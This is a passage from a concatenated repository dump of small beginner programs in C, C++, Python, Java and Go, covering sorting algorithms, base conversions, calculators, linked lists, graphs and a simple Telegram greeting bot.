n"); 40 | Bucket_Sort(array, num); 41 | for (i = 0;i < n;i++) 42 | { 43 | printf("%d ", array[i]); 44 | } 45 | printf("n"); 46 | return 0; 47 | } 48 | -------------------------------------------------------------------------------- /C++/graph.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | using namespace std; 5 | void displayAdjList(list adj_list[], int v) { 6 | for(int i = 0; i"; 8 | list :: iterator it; 9 | for(it = adj_list[i].begin(); it != adj_list[i].end(); ++it) { 10 | cout << *it << " "; 11 | } 12 | cout << endl; 13 | } 14 | } 15 | void add_edge(list adj_list[], int u, int v) { //add v into the list u, and u into list v 16 | adj_list[u].push_back(v); 17 | adj_list[v].push_back(u); 18 | } 19 | main(int argc, char* argv[]) { 20 | int v = 6; //there are 6 vertices in the graph 21 | //create an array of lists whose size is 6 22 | list adj_list[v]; 23 | add_edge(adj_list, 0, 4); 24 | add_edge(adj_list, 0, 3); 25 | add_edge(adj_list, 1, 2); 26 | add_edge(adj_list, 1, 4); 27 | add_edge(adj_list, 1, 5); 28 | add_edge(adj_list, 2, 3); 29 | add_edge(adj_list, 2, 5); 30 | add_edge(adj_list, 5, 3); 31 | add_edge(adj_list, 5, 4); 32 | displayAdjList(adj_list, v); 33 | } 34 | -------------------------------------------------------------------------------- /C++/ChooX3_BubbleSort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | using namespace std; 5 | 6 | int main() 7 | { 8 | std::vector value_list; 9 | 10 | int input_limit; 11 | cout << "Enter limit:"; 12 | 13 | cin >> input_limit; 14 | cout << "Enter the elements:" << endl; 15 | 16 | for (auto index = 0; index < input_limit; index++) 17 | { 18 | int input_value; 19 | cin >> input_value; 20 | value_list.push_back(input_value); 21 | } 22 | 23 | for (auto search_index1 = 0; search_index1 < input_limit; search_index1++) 24 | { 25 | for (auto search_index2 = 0; search_index2 < input_limit - search_index1 - 1; search_index2++) 26 | { 27 | if (value_list[search_index2] > value_list[search_index2 + 1]) 28 | { 29 | auto temp = value_list[search_index2]; 30 | value_list[search_index2] = value_list[search_index2 + 1]; 31 | value_list[search_index2 + 1] = temp; 32 | } 33 | } 34 | } 35 | 36 | cout << "\nThe elements after sorting:\n"; 37 | for (auto index = 0; index < input_limit; index++) 38 | cout << value_list[index] << " "; 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /Cpp/Imakshat47_decimal2binaryUsingBitwise.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Decimal to Binary Conversion 3 | 4 | Given a decimal number as input, we need to write a program to convert the given decimal number into equivalent binary number. 5 | 6 | Examples: 7 | 8 | Input : 7 9 | Output : 111 10 | 11 | Input : 10 12 | Output : 1010 13 | 14 | Input: 33 15 | Output: 100001 16 | */ 17 | #include 18 | using namespace std; 19 | 20 | void dec2bin(int num) 21 | { 22 | for (int i = 31; i >= 0; --i) 23 | { 24 | int k = num >> i; 25 | if (k & 1) 26 | printf("1"); 27 | else 28 | { 29 | printf("0"); 30 | } 31 | } 32 | printf("\n"); 33 | } 34 | 35 | int main() 36 | { 37 | int t; 38 | scanf("%d\n", &t); 39 | 40 | while (t--) 41 | { 42 | int num; 43 | scanf("%d", &num); 44 | 45 | if (num == 0) 46 | { 47 | printf("0\n"); 48 | continue; 49 | } 50 | 51 | dec2bin(num); 52 | } 53 | 54 | return 0; 55 | } -------------------------------------------------------------------------------- /Cpp/Imakshat47_decimal2binaryBasicVoid.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Decimal to Binary Conversion 3 | 4 | Given a decimal number as input, we need to write a program to convert the given decimal number into equivalent binary number. 5 | 6 | Examples: 7 | 8 | Input : 7 9 | Output : 111 10 | 11 | Input : 10 12 | Output : 1010 13 | 14 | Input: 33 15 | Output: 100001 16 | */ 17 | #include 18 | using namespace std; 19 | 20 | void dec2bin(int num) 21 | { 22 | int str[32]; 23 | if (num == 0) 24 | { 25 | printf("0\n"); 26 | return; 27 | } 28 | 29 | int i = 0; 30 | 31 | while (num > 0) 32 | { 33 | str[i] = num % 2; 34 | num = num / 2; 35 | ++i; 36 | } 37 | 38 | for (int j = i - 1; j >= 0; --j) 39 | printf("%d", str[j]); 40 | 41 | printf("\n"); 42 | } 43 | 44 | int main() 45 | { 46 | int t; 47 | scanf("%d\n", &t); 48 | 49 | while (t--) 50 | { 51 | int num; 52 | scanf("%d", &num); 53 | 54 | dec2bin(num); 55 | } 56 | 57 | return 0; 58 | } -------------------------------------------------------------------------------- /Python/python calculator: -------------------------------------------------------------------------------- 1 | def add(x, y): 2 | return x + y 3 | 4 | 5 | def subtract(x, y): 6 | return x - y 7 | 8 | 9 | def multiply(x, y): 10 | return x * y 11 | 12 | 13 | def divide(x, y): 14 | if y != 0: 15 | return x / y 16 | else: 17 | return None 18 | 19 | 20 | print("Select operation.") 21 | print("1.Add") 22 | print("2.Subtract") 23 | print("3.Multiply") 24 | print("4.Divide") 25 | 26 | while True: 27 | choice = input("Enter choice(1/2/3/4): ") 28 | 29 | if choice in ('1', '2', '3', '4'): 30 | num1 = float(input("Enter first number: ")) 31 | num2 = float(input("Enter second number: ")) 32 | 33 | if choice == '1': 34 | print(num1, "+", num2, "=", add(num1, num2)) 35 | 36 | elif choice == '2': 37 | print(num1, "-", num2, "=", subtract(num1, num2)) 38 | 39 | elif choice == '3': 40 | print(num1, "*", num2, "=", multiply(num1, num2)) 41 | 42 | elif choice == '4': 43 | print(num1, "/", num2, "=", divide(num1, num2)) 44 | break 45 | else: 46 | print("Invalid Input") 47 | -------------------------------------------------------------------------------- /C++/bucketSort.cpp: -------------------------------------------------------------------------------- 1 | // C++ program to sort an array using bucket sort 2 | #include 3 | #include 4 | #include 5 | using namespace std; 6 | 7 | // Function to sort arr[] of size n using bucket sort 8 | void bucketSort(float arr[], int n) 9 | { 10 | // 1) Create n empty buckets 11 | vector b[n]; 12 | 13 | // 2) Put array elements in different buckets 14 | for (int i = 0; i < n; i++) { 15 | int bi = n * arr[i]; // Index in bucket 16 | b[bi].push_back(arr[i]); 17 | } 18 | 19 | // 3) Sort individual buckets 20 | for (int i = 0; i < n; i++) 21 | sort(b[i].begin(), b[i].end()); 22 | 23 | // 4) Concatenate all buckets into arr[] 24 | int index = 0; 25 | for (int i = 0; i < n; i++) 26 | for (int j = 0; j < b[i].size(); j++) 27 | arr[index++] = b[i][j]; 28 | } 29 | 30 | 31 | int main() 32 | { 33 | float arr[] = { 0.897, 0.565, 0.656, 0.1234, 0.665, 0.3434 }; 34 | int n = sizeof(arr) / sizeof(arr[0]); 35 | bucketSort(arr, n); 36 | 37 | cout << "Sorted array is \n"; 38 | for (int i = 0; i < n; i++) 39 | cout << arr[i] << " "; 40 | return 0; 41 | } 42 | 43 | -------------------------------------------------------------------------------- /C/select_sorting_in_c.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // function to swap the the position of two elements 4 | void swap(int *a, int *b) { 5 | int temp = *a; 6 | *a = *b; 7 | *b = temp; 8 | } 9 | 10 | void selectionSort(int array[], int size) { 11 | for (int step = 0; step < size - 1; step++) { 12 | int min_idx = step; 13 | for (int i = step + 1; i < size; i++) { 14 | 15 | // To sort in descending order, change > to < in this line. 16 | // Select the minimum element in each loop. 17 | if (array[i] < array[min_idx]) 18 | min_idx = i; 19 | } 20 | 21 | // put min at the correct position 22 | swap(&array[min_idx], &array[step]); 23 | } 24 | } 25 | 26 | // function to print an array 27 | void printArray(int array[], int size) { 28 | for (int i = 0; i < size; ++i) { 29 | printf("%d ", array[i]); 30 | } 31 | printf("\n"); 32 | } 33 | 34 | // driver code 35 | int main() { 36 | int data[] = {20, 12, 10, 15, 2}; 37 | int size = sizeof(data) / sizeof(data[0]); 38 | selectionSort(data, size); 39 | printf("Sorted array in Acsending Order:\n"); 40 | printArray(data, size); 41 | } 42 | -------------------------------------------------------------------------------- /Data_Structures/linked_lists.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | class List{ 4 | class Node{ 5 | public: 6 | int data; 7 | Node* next; 8 | Node(){ 9 | this->data = 0; 10 | this->next = NULL; 11 | } 12 | }; 13 | public: 14 | Node* head=NULL; 15 | void add(int data){ 16 | Node* newNode = new Node(); 17 | newNode->data = data; 18 | newNode->next = NULL; 19 | if(this->head == NULL){ 20 | this->head = newNode; 21 | head->next = NULL; 22 | } 23 | else{ 24 | Node* ptr=NULL; 25 | ptr = this->head; 26 | while(ptr->next!=NULL){ 27 | ptr = ptr->next; 28 | } 29 | ptr->next = newNode; 30 | newNode->next = NULL; 31 | } 32 | } 33 | void traverse(){ 34 | Node* ptr; 35 | ptr = this->head; 36 | while(ptr!=NULL){ 37 | cout<data<<"\n"; 38 | ptr = ptr->next; 39 | } 40 | } 41 | 42 | }; 43 | int main(){ 44 | List l; 45 | l.add(2); 46 | l.add(3); 47 | l.add(9); 48 | l.add(4); 49 | l.traverse(); 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /C/Calculator.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | int num1,num2; 6 | float result; 7 | char ch; //to store operator choice 8 | 9 | printf("Enter first number: "); 10 | scanf("%d",&num1); 11 | printf("Enter second number: "); 12 | scanf("%d",&num2); 13 | 14 | printf("Choose operation to perform (+,-,*,/,%): "); 15 | scanf(" %c",&ch); 16 | 17 | result=0; 18 | switch(ch) 19 | { 20 | case '+': 21 | result=num1+num2; 22 | break; 23 | 24 | case '-': 25 | result=num1-num2; 26 | break; 27 | 28 | case '*': 29 | result=num1*num2; 30 | break; 31 | 32 | case '/': 33 | result=(float)num1/(float)num2; 34 | break; 35 | 36 | case '%': 37 | result=num1%num2; 38 | break; 39 | default: 40 | printf("Invalid operation.\n"); 41 | } 42 | 43 | printf("Result: %d %c %d = %f\n",num1,ch,num2,result); 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /C/InsertionSort.c: -------------------------------------------------------------------------------- 1 | 2 | // C program for insertion sort 3 | #include 4 | #include 5 | 6 | /* Function to sort an array using insertion sort*/ 7 | void insertionSort(int arr[], int n) 8 | { 9 | int i, key, j; 10 | for (i = 1; i < n; i++) { 11 | key = arr[i]; 12 | j = i - 1; 13 | 14 | /* Move elements of arr[0..i-1], that are 15 | greater than key, to one position ahead 16 | of their current position */ 17 | while (j >= 0 && arr[j] > key) { 18 | arr[j + 1] = arr[j]; 19 | j = j - 1; 20 | } 21 | arr[j + 1] = key; 22 | } 23 | } 24 | 25 | // A utility function to print an array of size n 26 | void printArray(int arr[], int n) 27 | { 28 | int i; 29 | for (i = 0; i < n; i++) 30 | printf("%d ", arr[i]); 31 | printf("\n"); 32 | } 33 | 34 | /* Driver program to test insertion sort */ 35 | int main() 36 | { 37 | int arr[] = { 12, 11, 13, 5, 6 }; 38 | int n = sizeof(arr) / sizeof(arr[0]); 39 | 40 | insertionSort(arr, n); 41 | printArray(arr, n); 42 | 43 | return 0; 44 | } 45 | -------------------------------------------------------------------------------- /Python/random_number_gen.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import time 3 | 4 | def lastbit(f): 5 | return struct.pack('!f', f)[-1] & 1 6 | 7 | def getrandbits(k): 8 | "Return k random bits using a relative drift of two clocks." 9 | # assume time.sleep() and time.clock() use different clocks 10 | # though it might work even if they use the same clock 11 | #XXX it does not produce "good" random bits, see below for details 12 | result = 0 13 | for _ in range(k): 14 | time.sleep(0) 15 | result <<= 1 16 | result |= lastbit(time.clock()) 17 | return result 18 | 19 | def randint(a, b): 20 | "Return random integer in range [a, b], including both end points." 21 | return a + randbelow(b - a + 1) 22 | 23 | def randbelow(n): 24 | "Return a random int in the range [0,n). Raises ValueError if n<=0." 25 | # from Lib/random.py 26 | if n <= 0: 27 | raise ValueError 28 | k = n.bit_length() # don't use (n-1) here because n can be 1 29 | r = getrandbits(k) # 0 <= r < 2**k 30 | while r >= n: # avoid skew 31 | r = getrandbits(k) 32 | return r 33 | print(*[randint(10, 110) for _ in range(20)]) 34 | -------------------------------------------------------------------------------- /C++/husinassegaff_HowManyIslands.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | using namespace std; 6 | 7 | int a[10][10] = { 0 }; 8 | 9 | void island(int Y, int X, int size){ 10 | if(X > size || Y > size || X < 0 || Y < 0){ 11 | return; 12 | } 13 | 14 | if (!a[Y][X]){ 15 | return; 16 | } 17 | 18 | a[Y][X] = 0; 19 | island(Y + 1, X, size); 20 | island(Y, X + 1, size); 21 | island(Y - 1, X, size); 22 | island(Y, X - 1, size); 23 | } 24 | 25 | int main(){ 26 | string number; 27 | int Y = 0, X, num, sum = 0; 28 | 29 | while (getline(cin, number)){ 30 | X= 0; 31 | num = 0; 32 | while(number[num] != '\0'){ 33 | if(number[num] == '1'){ 34 | a[Y][X] = 1; 35 | X++; 36 | } 37 | 38 | else if(number[num] == '0'){ 39 | a[Y][X] = 0; 40 | X++; 41 | } 42 | num++; 43 | } 44 | Y++; 45 | 46 | if(Y == X){ 47 | break; 48 | } 49 | } 50 | 51 | for (int i = 0; i < X; i++){ 52 | for (int j = 0; j < Y; j++) 53 | if(a[i][j]){ 54 | island(i, j, X); 55 | sum++; 56 | } 57 | } 58 | 59 | printf("%d\n",sum); 60 | return 0; 61 | } -------------------------------------------------------------------------------- /Python/basic-calculator-nishant.py: -------------------------------------------------------------------------------- 1 | # Addition 2 | def add(x, y): 3 | return x + y 4 | 5 | # Subtraction 6 | def subtract(x, y): 7 | return x - y 8 | 9 | # Multiplication 10 | def multiply(x, y): 11 | return x * y 12 | 13 | # Division 14 | def divide(x, y): 15 | return x / y 16 | 17 | 18 | print("Select operation.") 19 | print("1.Add") 20 | print("2.Subtract") 21 | print("3.Multiply") 22 | print("4.Divide") 23 | 24 | while True: 25 | # Take input from the user 26 | choice = input("Enter choice(1/2/3/4): ") 27 | 28 | # Check if choice is one of the four options 29 | if choice in ('1', '2', '3', '4'): 30 | num1 = float(input("Enter first number: ")) 31 | num2 = float(input("Enter second number: ")) 32 | 33 | if choice == '1': 34 | print(num1, "+", num2, "=", add(num1, num2)) 35 | 36 | elif choice == '2': 37 | print(num1, "-", num2, "=", subtract(num1, num2)) 38 | 39 | elif choice == '3': 40 | print(num1, "*", num2, "=", multiply(num1, num2)) 41 | 42 | elif choice == '4': 43 | print(num1, "/", num2, "=", divide(num1, num2)) 44 | break 45 | else: 46 | print("Invalid Input") 47 | -------------------------------------------------------------------------------- /C/quicksort_static.c: -------------------------------------------------------------------------------- 1 | // Ahnaf Hadi Fathulloh 2 | #include 3 | void swap(int* a, int* b) 4 | { 5 | int t = *a; 6 | *a = *b; 7 | *b = t; 8 | } 9 | int partition (int arr[], int low, int high) 10 | { 11 | int pivot = arr[high]; 12 | int i = (low - 1); 13 | 14 | for (int j = low; j <= high- 1; j++) 15 | { 16 | if (arr[j] < pivot) 17 | { 18 | i++; 19 | swap(&arr[i], &arr[j]); 20 | } 21 | } 22 | swap(&arr[i + 1], &arr[high]); 23 | return (i + 1); 24 | } 25 | 26 | void quickSort(int arr[], int low, int high) 27 | { 28 | if (low < high) 29 | { 30 | int pi = partition(arr, low, high); 31 | quickSort(arr, low, pi - 1); 32 | quickSort(arr, pi + 1, high); 33 | } 34 | } 35 | 36 | void printArray(int arr[], int size) 37 | { 38 | int i; 39 | for (i=0; i < size; i++) 40 | printf("%d ", arr[i]); 41 | printf("n"); 42 | } 43 | 44 | int main() 45 | { 46 | int arr[] = {10, 91, 1992, 9, 1, 5}; 47 | int n = sizeof(arr)/sizeof(arr[0]); 48 | quickSort(arr, 0, n-1); 49 | printf("Sorted array: n :"); 50 | printArray(arr, n); 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /Cpp/findMinDiff.cpp: -------------------------------------------------------------------------------- 1 | // To find to Minimum difference between any two elements 2 | // -by Imakshat47 3 | 4 | #include 5 | #include 6 | using namespace std; 7 | // #define INT_MAX 2147483647 8 | int findMinonOn2(int a[], int n) 9 | { 10 | int diff = INT_MAX; 11 | 12 | for (int i = 0; i < n; ++i) 13 | { 14 | for (int j = i; j < n; ++i) 15 | { 16 | if (abs(a[j] - a[j + 1]) < diff) 17 | diff = abs(a[j] - a[j + 1]); 18 | } 19 | } 20 | return diff; 21 | } 22 | 23 | int findMinonOn1(int a[], int n) 24 | { 25 | sort(a, a + n); 26 | int diff = INT_MAX; 27 | for (int i = 0; i < n; ++i) 28 | { 29 | if ((a[i + 1] - a[i]) < diff) 30 | diff = a[i + 1] - a[i]; 31 | } 32 | 33 | return diff; 34 | } 35 | 36 | int main() 37 | { 38 | int t; 39 | scanf("%d", &t); 40 | 41 | while (t--) 42 | { 43 | int n; 44 | scanf("%d", &n); 45 | 46 | int a[n]; 47 | for (int i = 0; i < n; ++i) 48 | scanf("%d", &a[i]); 49 | printf("Function Call..."); 50 | printf("%d", findMinonOn2(a, n)); 51 | // printf("%d", findMinonOn1(a, n)); 52 | } 53 | return 0; 54 | } -------------------------------------------------------------------------------- /C++/HeapSort.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | 5 | void heapify(int arr[], int n, int root) 6 | { 7 | int largest = root; 8 | int l = 2*root + 1; 9 | int r = 2*root + 2; 10 | 11 | if (l < n && arr[l] > arr[largest]) 12 | largest = l; 13 | 14 | 15 | if (r < n && arr[r] > arr[largest]) 16 | largest = r; 17 | 18 | 19 | if (largest != root) 20 | { 21 | swap(arr[root], arr[largest]); 22 | 23 | heapify(arr, n, largest); 24 | } 25 | } 26 | 27 | void heapSort(int arr[], int n) 28 | { 29 | 30 | for (int i = n / 2 - 1; i >= 0; i--) 31 | heapify(arr, n, i); 32 | 33 | 34 | for (int i=n-1; i>=0; i--) 35 | { 36 | swap(arr[0], arr[i]); 37 | 38 | heapify(arr, i, 0); 39 | } 40 | } 41 | 42 | void displayArray(int arr[], int n) 43 | { 44 | for (int i=0; i 18 | using namespace std; 19 | 20 | int *dec2bin(int num) 21 | { 22 | int *binaryNum = new int[33]; 23 | 24 | int i = 0; 25 | 26 | while (num > 0) 27 | { 28 | binaryNum[i] = num % 2; 29 | num = num / 2; 30 | ++i; 31 | } 32 | 33 | binaryNum[32] = i - 1; 34 | 35 | return binaryNum; 36 | } 37 | 38 | int main() 39 | { 40 | int t; 41 | scanf("%d\n", &t); 42 | 43 | while (t--) 44 | { 45 | int num; 46 | scanf("%d", &num); 47 | 48 | if (num == 0) 49 | { 50 | printf("0\n"); 51 | continue; 52 | } 53 | 54 | int *res = dec2bin(num); 55 | 56 | for (int j = res[32]; j >= 0; --j) 57 | printf("%d", res[j]); 58 | 59 | printf("\n"); 60 | } 61 | 62 | return 0; 63 | } -------------------------------------------------------------------------------- /C/decimal2OctalFormula.c: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Decimal to Octal Conversion 3 | Given a decimal number as input, we need to write a program to convert the given decimal number into equivalent octal number. i.e convert the number with base value 10 to base value 8. The base value of a number system determines the number of digits used to represent a numeric value. For example, the binary number system uses two digits 0 and 1, octal number system uses 8 digits from 0-7 and decimal number system uses 10 digits 0-9 to represent any numeric value. 4 | 5 | Examples: 6 | 7 | Input : 16 8 | Output : 20 9 | 10 | Input : 10 11 | Output : 12 12 | 13 | Input: 33 14 | Output: 41 15 | 16 | Time Complexity: O(1) 17 | */ 18 | 19 | #include 20 | 21 | int dec2Octal(int num) 22 | { 23 | int octal = 0, base = 1; 24 | while (num != 0) 25 | { 26 | octal += ((num % 8) * base); 27 | base *= 10; 28 | num /= 8; 29 | } 30 | return octal; 31 | } 32 | 33 | int main() 34 | { 35 | int t; 36 | scanf("%d", &t); 37 | 38 | while (t--) 39 | { 40 | int num; 41 | scanf("%d", &num); 42 | printf("%d\n", dec2Octal(num)); 43 | } 44 | 45 | return 0; 46 | } -------------------------------------------------------------------------------- /C/shravaniparaswar_mergesort.C: -------------------------------------------------------------------------------- 1 | #include 2 | #define MAX 10 3 | //shravani 4 | //hacktoberfest 5 | //orignal code 6 | //merge sort implementation 7 | int arr[MAX] = {310, 285, 179, 652, 351, 423, 861, 254, 450, 520}; 8 | void merge (int low, int mid, int high) 9 | { 10 | int i = low, j = mid + 1, k = 0, temp[MAX]; 11 | 12 | while (i <= mid && j <= high) 13 | { 14 | if (arr[i] < arr[j]) 15 | temp[k] = arr[i++]; 16 | else 17 | temp[k] = arr[j++]; 18 | k++; 19 | } 20 | while (i <= mid) 21 | { 22 | temp[k] = arr[i++]; 23 | k++; 24 | } 25 | while (j <= high) 26 | { 27 | temp[k] = arr[j++]; 28 | j++; 29 | } 30 | i = low; 31 | j = 0; 32 | while (j < k) 33 | { 34 | arr[i] = temp[j]; 35 | i++; 36 | j++; 37 | } 38 | } 39 | 40 | void mergeSort (int low, int high) 41 | { 42 | int mid ; 43 | mid = (low + high)/2; 44 | if (low < high) 45 | { 46 | mergeSort (low, mid); 47 | mergeSort (mid + 1, high); 48 | merge (low, mid, high); 49 | } 50 | } 51 | 52 | void displayArr (int n) 53 | { 54 | int i; 55 | 56 | for (i =0; i < n; i++) 57 | { 58 | printf ("%d\t", arr[i]); 59 | } 60 | } 61 | 62 | int main (void) 63 | { 64 | mergeSort (0, MAX - 1); 65 | displayArr (MAX); 66 | 67 | } 68 | -------------------------------------------------------------------------------- /Python/telegrambot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #simple Telegram Bot To Say Hi Hello 3 | from telegram.ext import Updater, CommandHandler, MessageHandler 4 | import requests 5 | 6 | 7 | def start(update, context): 8 | response = "Hello I am a Test Bot How are you ? 😄😄" 9 | update.message.reply_text(response, parse_mode= "HTML") 10 | 11 | def hello(update, context): 12 | update.message.reply_text( 13 | 'Hello {}😄😄, How ya been ?'.format(update.message.from_user.id,update.message.from_user.first_name), parse_mode= "HTML") 14 | 15 | def me (update, context): 16 | update.message.reply_text( 17 | 'Extracted From Megik Db \n Your name : {} \nIs a Bot : {} 😶😶\n'.format(update.message.from_user.id,update.message.from_user.full_name,update.message.from_user.is_bot), parse_mode= "HTML") 18 | 19 | 20 | 21 | 22 | 23 | #token 24 | updater = Updater('', use_context=True) 25 | 26 | 27 | updater.dispatcher.add_handler(CommandHandler('hi', start)) 28 | updater.dispatcher.add_handler(CommandHandler('hello', hello)) 29 | updater.dispatcher.add_handler(CommandHandler('about', me)) 30 | 31 | updater.start_polling() 32 | updater.idle() 33 | -------------------------------------------------------------------------------- /Python/MergeSort.py: -------------------------------------------------------------------------------- 1 | def mergeSort(a): 2 | if len(a) >1: 3 | mid_term = len(a)//2 4 | # dividing array into 2 halves 5 | left = a[:mid_term] 6 | right = a[mid_term:] 7 | 8 | # call to function mergeSort for both the halves 9 | mergeSort(left) 10 | mergeSort(right) 11 | 12 | i = j = k = 0 13 | 14 | while i < len(left) and j < len(right): 15 | if left[i] < right[j]: 16 | a[k] = left[i] 17 | i+= 1 18 | else: 19 | a[k] = right[j] 20 | j+= 1 21 | k+= 1 22 | 23 | # to check if array was complete 24 | while i < len(left): 25 | a[k] = left[i] 26 | i+= 1 27 | k+= 1 28 | 29 | while j < len(right): 30 | a[k] = right[j] 31 | j+= 1 32 | k+= 1 33 | 34 | # printing the sorted list 35 | def printList(a): 36 | for i in range(len(a)): 37 | print(a[i], end =" ") 38 | print() 39 | 40 | # sample test 41 | if __name__ == '__main__': 42 | arr = [12, 11, 13, 5, 6, 7] 43 | print ("Given array: ") 44 | printList(arr) 45 | mergeSort(arr) 46 | print("Sorted array: ") 47 | printList(arr) 48 | -------------------------------------------------------------------------------- /C/heapsort.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void create(int []); 4 | void down_adjust(int [],int); 5 | 6 | int main() 7 | { 8 | int heap[30],n,i,last,temp; 9 | 10 | printf("Enter no. of elements:"); 11 | scanf("%d",&n); 12 | 13 | printf("\nEnter elements:"); 14 | for(i=1;i<=n;i++) 15 | scanf("%d",&heap[i]); 16 | 17 | //create a heap 18 | heap[0]=n; 19 | create(heap); 20 | 21 | //sorting 22 | while(heap[0] > 1) 23 | { 24 | //swap heap[1] and heap[last] 25 | last=heap[0]; 26 | temp=heap[1]; 27 | heap[1]=heap[last]; 28 | heap[last]=temp; 29 | heap[0]--; 30 | down_adjust(heap,1); 31 | } 32 | 33 | //print sorted data 34 | printf("\nArray after sorting:\n"); 35 | for(i=1;i<=n;i++) 36 | printf("%d ",heap[i]); 37 | 38 | return 0; 39 | } 40 | 41 | void create(int heap[]) 42 | { 43 | int i,n; 44 | n=heap[0]; //no. of elements 45 | 46 | for(i=n/2;i>=1;i--) 47 | down_adjust(heap,i); 48 | } 49 | 50 | void down_adjust(int heap[],int i) 51 | { 52 | int j,temp,n,flag=1; 53 | n=heap[0]; 54 | 55 | while(2*i<=n && flag==1) 56 | { 57 | j=2*i; //j points to left child 58 | if(j+1<=n && heap[j+1] > heap[j]) 59 | j=j+1; 60 | if(heap[i] > heap[j]) 61 | flag=0; 62 | else 63 | { 64 | temp=heap[i]; 65 | heap[i]=heap[j]; 66 | heap[j]=temp; 67 | i=j; 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /Cpp/Imakshat47_decimal2OctalFormula.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | # Program for Decimal to Octal Conversion 3 | Given a decimal number as input, we need to write a program to convert the given decimal number into equivalent octal number. i.e convert the number with base value 10 to base value 8. The base value of a number system determines the number of digits used to represent a numeric value. For example, the binary number system uses two digits 0 and 1, octal number system uses 8 digits from 0-7 and decimal number system uses 10 digits 0-9 to represent any numeric value. 4 | 5 | Examples: 6 | 7 | Input : 16 8 | Output : 20 9 | 10 | Input : 10 11 | Output : 12 12 | 13 | Input: 33 14 | Output: 41 15 | 16 | Time Complexity: O(1) 17 | */ 18 | 19 | #include 20 | using namespace std; 21 | 22 | int dec2Octal(int num) 23 | { 24 | int octal = 0, base = 1; 25 | while (num != 0) 26 | { 27 | octal += ((num % 8) * base); 28 | base *= 10; 29 | num /= 8; 30 | } 31 | return octal; 32 | } 33 | 34 | int main() 35 | { 36 | int t; 37 | scanf("%d", &t); 38 | 39 | while (t--) 40 | { 41 | int num; 42 | scanf("%d", &num); 43 | printf("%d\n", dec2Octal(num)); 44 | } 45 | 46 | return 0; 47 | } -------------------------------------------------------------------------------- /Data_Structures/doublyLinkedList.java: -------------------------------------------------------------------------------- 1 | class Node{ 2 | int data; 3 | Node prev, next; 4 | Node(){ 5 | data = 0; prev = null; next = null; 6 | } 7 | } 8 | class doublyLL{ 9 | Node head; 10 | doublyLL(){ 11 | head = null; 12 | } 13 | void add(int data){ 14 | Node newNode = new Node(); 15 | newNode.data = data; 16 | if(head==null){ 17 | head = newNode; 18 | } 19 | else{ 20 | Node ptr,pre; 21 | ptr = head; 22 | while(ptr.next != null){ 23 | ptr = ptr.next; 24 | } 25 | newNode.prev = ptr; 26 | ptr.next = newNode; 27 | } 28 | } 29 | void traverse(){ 30 | Node ptr = head; 31 | while(ptr!=null){ 32 | if(ptr.prev == null) 33 | System.out.println("Head: "+ptr.data); 34 | else if(ptr.next==null) 35 | System.out.println("Tail: "+ptr.data); 36 | else 37 | System.out.println(ptr.prev.data+" --> "+ptr.data+" --> "+ptr.next.data); 38 | ptr = ptr.next; 39 | } 40 | } 41 | } 42 | public class doublyLinkedList{ 43 | public static void main(String args[]){ 44 | doublyLL l = new doublyLL(); 45 | l.add(2); 46 | l.add(3); 47 | l.add(5); 48 | l.add(10); 49 | l.add(1); 50 | l.add(3); 51 | l.add(7); 52 | l.add(12); 53 | l.add(23); 54 | l.traverse(); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /C++/Xhiel23_Calculator.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | int main(){ 5 | short choice,num1,num2,result; 6 | 7 | std::cout << "Calculator" << std::endl; 8 | std::cout << "[1] Sum" << std::endl; 9 | std::cout << "[2] Substract" << std::endl; 10 | std::cout << "[3] Multiply" << std::endl; 11 | std::cout << "[4] Divide" << std::endl; 12 | 13 | std::cout << "Which operation do you want to perform?" << std::endl; 14 | std::cin >> choice; 15 | if(choice>0 && choice < 5){ 16 | std::cout << "Introduce a number: " << std::endl; 17 | std::cin >> num1; 18 | std::cout << "Introduce another number: " << std::endl; 19 | std::cin >> num2; 20 | } 21 | 22 | switch (choice){ 23 | case 1: 24 | result = num1 + num2; 25 | break; 26 | case 2: 27 | result = num1 - num2; 28 | break; 29 | case 3: 30 | result = num1 * num2; 31 | break; 32 | case 4: 33 | if(num2 == 0){ 34 | std::cout << "You cant divide by 0. Select another number:" << std::endl; 35 | std::cin >> num2; 36 | } 37 | result = num1/num2; 38 | break; 39 | 40 | 41 | } 42 | std::cout << "The result is: " << result << std::endl; 43 | return 0; 44 | } -------------------------------------------------------------------------------- /Go/briyoman_quicksort.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "sort" 6 | "math/rand" 7 | ) 8 | 9 | func partition(a sort.Interface, first int, last int, pivotIndex int) int { 10 | a.Swap(first, pivotIndex) // move it to beginning 11 | left := first+1 12 | right := last 13 | for left <= right { 14 | for left <= last && a.Less(left, first) { 15 | left++ 16 | } 17 | for right >= first && a.Less(first, right) { 18 | right-- 19 | } 20 | if left <= right { 21 | a.Swap(left, right) 22 | left++ 23 | right-- 24 | } 25 | } 26 | a.Swap(first, right) // swap into right place 27 | return right 28 | } 29 | 30 | func quicksortHelper(a sort.Interface, first int, last int) { 31 | if first >= last { 32 | return 33 | } 34 | pivotIndex := partition(a, first, last, rand.Intn(last - first + 1) + first) 35 | quicksortHelper(a, first, pivotIndex-1) 36 | quicksortHelper(a, pivotIndex+1, last) 37 | } 38 | 39 | func quicksort(a sort.Interface) { 40 | quicksortHelper(a, 